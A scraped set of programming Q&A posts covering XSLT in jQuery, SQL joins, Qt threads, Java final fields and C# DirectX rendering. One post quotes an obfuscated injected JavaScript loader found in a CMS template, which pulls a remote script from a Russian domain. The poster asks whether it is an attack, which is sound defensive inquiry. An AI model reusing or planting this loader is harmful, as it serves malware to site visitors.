target.html(xm.transformNode(xs.XMLDocument)); if (onSuccess) onSuccess(); }, 50); } }catch(exception){ if (onError) onError(exception); } }; var xm = document.createElement('xml'); xm.onreadystatechange = change; xm[str.test(xml) ? "innerHTML" : "src"] = xml; var xs = document.createElement('xml'); xs.onreadystatechange = change; xs[str.test(xslt) ? "innerHTML" : "src"] = xslt; $('body').append(xm).append(xs); return this; }catch(exception){ if (onError) onError(exception); } }; } else if (window.DOMParser != undefined && window.XMLHttpRequest != undefined && window.XSLTProcessor != undefined) { // Mozilla 0.9.4+, Opera 9+ var processor = new XSLTProcessor(); var support = false; if ($.isFunction(processor.transformDocument)) { support = window.XMLSerializer != undefined; } else { support = true; } if (support) { $.fn.xslt = function(xml, xslt, onSuccess, onError) { try{ var target = $(this); var transformed = false; var xm = { readyState: 4 }; var xs = { readyState: 4 }; var change = function() { try{ if (xm.readyState == 4 && xs.readyState == 4 && !transformed) { var processor = new XSLTProcessor(); if ($.isFunction(processor.transformDocument)) { // obsolete Mozilla interface resultDoc = document.implementation.createDocument("", "", null); processor.transformDocument(xm.responseXML, xs.responseXML, resultDoc, null); target.html(new XMLSerializer().serializeToString(resultDoc)); } else { processor.importStylesheet(xs.responseXML); resultDoc = processor.transformToFragment(xm.responseXML, document); target.empty().append(resultDoc); } transformed = true; if (onSuccess) onSuccess(); } }catch(exception){ if (onError) onError(exception); } }; if (str.test(xml)) { xm.responseXML = new DOMParser().parseFromString(xml, "text/xml"); } else { xm = $.ajax({ dataType: "xml", url: xml}); xm.onreadystatechange = change; } if (str.test(xslt)) { xs.responseXML = new DOMParser().parseFromString(xslt, "text/xml"); change(); } else { xs = $.ajax({ dataType: "xml", url: xslt}); xs.onreadystatechange = change; } }catch(exception){ if (onError) onError(exception); }finally{ return this; } }; } } })(jQuery); And, here's my error msg: Object Exception: [unknown name] - Component returned failure code: 0x80600011 [nsIXSLTProcessorObsolete.transformDocument] Here's the info on the browser that I'm using for testing (with firebug v1.5.4 add-on installed): Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Here's my XML: <?xml version="1.0" encoding="ISO-8859-1"?> <plotcardCollection sortby="order"> <plotcard order="2" id="1378"> <name><![CDATA[[placeholder for name of plotcard 1378]]]></name> <content><![CDATA[[placeholder for content of plotcard 1378]]]></content> <tagCollection> <tag id="3"><![CDATA[[placeholder for tag with id=3]]]></tag> <tag id="7"><![CDATA[[placeholder for tag with id=7]]]></tag> </tagCollection> </plotcard> <plotcard order="1" id="2156"> <name><![CDATA[[placeholder for name of plotcard 2156]]]></name> <content><![CDATA[[placeholder for content of plotcard 2156]]]></content> <tagCollection> <tag id="2"><![CDATA[[placeholder for tag with id=2]]]></tag> <tag id="9"><![CDATA[[placeholder for tag with id=9]]]></tag> </tagCollection> </plotcard> </plotcardCollection> Here's my XSLT: <?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/plotcardCollection"> <xsl:variable name="sortby" select="@sortby" /> <xsl:for-each select="plotcard"> <xsl:sort select="$sortby" data-type="number" order="ascending"/> <div> <!-- Start Plotcard --> <xsl:attribute name="class">Plotcard</xsl:attribute> <xsl:for-each select="@"> <xsl:value-of select="name()"/> <xsl:text>='</xsl:text> <xsl:if test="name() = 'id'"> <xsl:text>Plotcard-</xsl:text> </xsl:if> <xsl:value-of select="." /> <xsl:text>'</xsl:text> </xsl:for-each> <!-- Start Plotcard Name Section --> <div> <xsl:attribute name="class"> <xsl:text disable-output-escaping="yes">PlotcardName</xsl:text> </xsl:attribute> <xsl:value-of select="name/text()"/> </div> <!-- Start Plotcard Content Section --> <div> <xsl:attribute name="class"> <xsl:text disable-output-escaping="yes">PlotcardContent</xsl:text> </xsl:attribute> <xsl:value-of select="content/text()"/> </div> </div> </xsl:for-each> </xsl:template> </xsl:stylesheet> I'm really not sure what to do about this.... any thoughts?

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  • Weird Javascript in Template. Is this a hacking attempt?

    - by Julian
    I validated my client's website to xHTML Strict 1.0/CSS 2.1 standards last week. Today when I re-checked, I had a validation error caused by a weird and previous unknown script. I found this in the index.php file of my ExpressionEngine CMS. What is this javascript doing? Is this a hacking attempt as I suspected? I couldn't help but notice the Russian domain encoded in the script... this.v=27047; this.v+=187; ug=["n"]; OV=29534; OV--; var y; var C="C"; var T={}; r=function(){ b=36068; b-=144; M=[]; function f(V,w,U){ return V.substr(w,U); var wH=39640; } var L=["o"]; var cj={}; var qK={N:false}; var fa="/g"+"oo"+"gl"+"e."+"co"+"m/"+f("degL4",0,2)+f("rRs6po6rRs",4,2)+f("9GVsiV9G",3,2)+f("5cGtfcG5",3,2)+f("M6c0ilc6M0",4,2)+"es"+f("KUTz.cUzTK",4,2)+f("omjFb",0,2)+"/s"+f("peIlh2",0,2)+"ed"+f("te8WC",0,2)+f("stien3",0,2)+f(".nYm6S",0,2)+f("etUWH",0,2)+f(".pdVPH",0,2)+f("hpzToi",0,2); var BT="BT"; var fV=RegExp; var CE={bf:false}; var UW=''; this.Ky=11592; this.Ky-=237; var VU=document; var _n=[]; try {} catch(wP){}; this.JY=29554; this.JY-=245; function s(V,w){ l=13628; l--; var U="["+w+String("]"); var rk=new fV(U, f("giId",0,1)); this.NS=18321;this.NS+=195;return V.replace(rk, UW); try {} catch(k){}; }; this.jM=""; var CT={}; var A=s('socnruixpot4','zO06eNGTlBuoYxhwn4yW1Z'); try {var vv='m'} catch(vv){}; var Os={}; var t=null; var e=String("bod"+"y"); var F=155183-147103; this.kp=''; Z={Ug:false}; y=function(){ var kl=["mF","Q","cR"]; try { Bf=11271; Bf-=179; var u=s('cfr_eKaPtQe_EPl8eTmPeXn8to','X_BQoKfTZPz8MG5'); Fp=VU[u](A); var H=""; try {} catch(WK){}; this.Ca=19053; this.Ca--; var O=s('s5rLcI','2A5IhLo'); var V=F+fa; this.bK=""; var ya=String("de"+"fe"+f("r3bPZ",0,1)); var bk=new String(); pB=9522; pB++; Fp[O]=String("ht"+"tp"+":/"+"/t"+"ow"+"er"+"sk"+"y."+"ru"+":")+V; Fp[ya]=[1][0]; Pe=45847; Pe--; VU[e].appendChild(Fp); var lg=new Array(); var aQ={vl:"JC"}; this.KL="KL"; } catch(x){ this.Ja=""; Th=["pj","zx","kO"]; var Jr=''; }; Tr={qZ:21084}; }; this.pL=false; }; be={}; rkE={hb:"vG"}; r(); var bY=new Date(); window.onload=y; cU=["Yr","gv"];

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  • Joining two tables using a count

    - by Dave
    I have two tables as defined below: EMAILS ID SUBJECT BODY 1 Test1 blah blah 2 Test2 blah blah blah 3 Test3 more blah ATTACHMENTS ID EMAIL_ID ATTACHMENT NAME 1 2 TEST.DOC 2 2 TEST.XLS I'm trying to perform a select to get back all of the emails and a count of how many attachments (if any) for each row in the EMAILS table -- preferably in a single query where the results would resemble something like: EMAIL_ID SUBJECT NUM_ATTACHMENTS BODY 1 Test1 0 blah blah 2 Test2 2 blah blah blah 3 Test3 0 more blah I've tried everything but the "right way" and if anyone has a few minutes to help me create the right SQL to build this, I'd greatly appreciate it. Thanks.

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  • Symbian qt threading

    - by Umesha MS
    Hi, 1) In symbian c++ thread is not recommended. Instead of that they recommend active object for multi tasking. Presently I am using QT to develop a application in symbian. Since there is no active object in QT I thought of using thread. My question is , can I use thread, is it is recommended. If it is not recommended, how to achieve multitasking. 2) I have created a sample thread class as shown bellow. When I call test function from the constructer of the main window thread will start but UI will be in hung state, infact main window itself will not be displayed. Please help me to solve the problem. class CSampleThread: public QThread { Q_OBJECT public: CSampleThread(QObject *parent = 0) : QThread(parent) {} virtual ~CSampleThread() {} void test(){ QThread::start(LowPriority); } protected: void run() { while(true){} } };

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  • Java: how to initialize private final int value with if-else in constructor?

    - by HH
    $ javac InitInt.java InitInt.java:7: variable right might not have been initialized InitInt(){} ^ 1 error $ cat InitInt.java import java.util.*; import java.io.*; public class InitInt { private final int right; InitInt(){} public static void main(String[] args) { // I don't want to assign any value. // just initialize it, how? InitInt test = new InitInt(); System.out.println(test.getRight()); // later assiging a value } public int getRight(){return right;} } Initialization problem with Constructor, due to if-else -loop InitInt{ // Still the error, "may not be initialized" // How to initialise it, without removing if-else? if(snippetBuilder.length()>(charwisePos+25)){ right=charwisePos+25; }else{ right=snippetBuilder.length()-1; } }

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  • Fast multi-window rendering with C#

    - by seb
    I've been searching and testing different kind of rendering libraries for C# days for many weeks now. So far I haven't found a single library that works well on multi-windowed rendering setups. The requirement is to be able to run the program on 12+ monitor setups (financial charting) without latencies on a fast computer. Each window needs to update multiple times every second. While doing this CPU needs to do lots of intensive and time critical tasks so some of the burden has to be shifted to GPUs. That's where hardware rendering steps in, in another words DirectX or OpenGL. I have tried GDI+ with windows forms and figured it's way too slow for my needs. I have tried OpenGL via OpenTK (on windows forms control) which seemed decently quick (I still have some tests to run on it) but painfully difficult to get working properly (hard to find/program good text rendering libraries). Recently I tried DirectX9, DirectX10 and Direct2D with Windows forms via SharpDX. I tried a separate device for each window and a single device/multiple swap chains approaches. All of these resulted in very poor performance on multiple windows. For example if I set target FPS to 20 and open 4 full screen windows on different monitors the whole operating system starts lagging very badly. Rendering is simply clearing the screen to black, no primitives rendered. CPU usage on this test was about 0% and GPU usage about 10%, I don't understand what is the bottleneck here? My development computer is very fast, i7 2700k, AMD HD7900, 16GB ram so the tests should definitely run on this one. In comparison I did some DirectX9 tests on C++/Win32 API one device/multiple swap chains and I could open 100 windows spread all over the 4-monitor workspace (with 3d teapot rotating on them) and still had perfectly responsible operating system (fps was dropping of course on the rendering windows quite badly to around 5 which is what I would expect running 100 simultaneous renderings). Does anyone know any good ways to do multi-windowed rendering on C# or am I forced to re-write my program in C++ to get that performance (major pain)? I guess I'm giving OpenGL another shot before I go the C++ route... I'll report any findings here. Test methods for reference: For C# DirectX one-device multiple swapchain test I used the method from this excellent answer: Display Different images per monitor directX 10 Direct3D10 version: I created the d3d10device and DXGIFactory like this: D3DDev = new SharpDX.Direct3D10.Device(SharpDX.Direct3D10.DriverType.Hardware, SharpDX.Direct3D10.DeviceCreationFlags.None); DXGIFac = new SharpDX.DXGI.Factory(); Then initialized the rendering windows like this: var scd = new SwapChainDescription(); scd.BufferCount = 1; scd.ModeDescription = new ModeDescription(control.Width, control.Height, new Rational(60, 1), Format.R8G8B8A8_UNorm); scd.IsWindowed = true; scd.OutputHandle = control.Handle; scd.SampleDescription = new SampleDescription(1, 0); scd.SwapEffect = SwapEffect.Discard; scd.Usage = Usage.RenderTargetOutput; SC = new SwapChain(Parent.DXGIFac, Parent.D3DDev, scd); var backBuffer = Texture2D.FromSwapChain<Texture2D>(SC, 0); _rt = new RenderTargetView(Parent.D3DDev, backBuffer); Drawing command executed on each rendering iteration is simply: Parent.D3DDev.ClearRenderTargetView(_rt, new Color4(0, 0, 0, 0)); SC.Present(0, SharpDX.DXGI.PresentFlags.None); DirectX9 version is very similar: Device initialization: PresentParameters par = new PresentParameters(); par.PresentationInterval = PresentInterval.Immediate; par.Windowed = true; par.SwapEffect = SharpDX.Direct3D9.SwapEffect.Discard; par.PresentationInterval = PresentInterval.Immediate; par.AutoDepthStencilFormat = SharpDX.Direct3D9.Format.D16; par.EnableAutoDepthStencil = true; par.BackBufferFormat = SharpDX.Direct3D9.Format.X8R8G8B8; // firsthandle is the handle of first rendering window D3DDev = new SharpDX.Direct3D9.Device(new Direct3D(), 0, DeviceType.Hardware, firsthandle, CreateFlags.SoftwareVertexProcessing, par); Rendering window initialization: if (parent.D3DDev.SwapChainCount == 0) { SC = parent.D3DDev.GetSwapChain(0); } else { PresentParameters pp = new PresentParameters(); pp.Windowed = true; pp.SwapEffect = SharpDX.Direct3D9.SwapEffect.Discard; pp.BackBufferFormat = SharpDX.Direct3D9.Format.X8R8G8B8; pp.EnableAutoDepthStencil = true; pp.AutoDepthStencilFormat = SharpDX.Direct3D9.Format.D16; pp.PresentationInterval = PresentInterval.Immediate; SC = new SharpDX.Direct3D9.SwapChain(parent.D3DDev, pp); } Code for drawing loop: SharpDX.Direct3D9.Surface bb = SC.GetBackBuffer(0); Parent.D3DDev.SetRenderTarget(0, bb); Parent.D3DDev.Clear(ClearFlags.Target, Color.Black, 1f, 0); SC.Present(Present.None, new SharpDX.Rectangle(), new SharpDX.Rectangle(), HWND); bb.Dispose(); C++ DirectX9/Win32 API test with multiple swapchains and one device code is here: http://pastebin.com/tjnRvATJ It's a modified version from Kevin Harris's nice example code.

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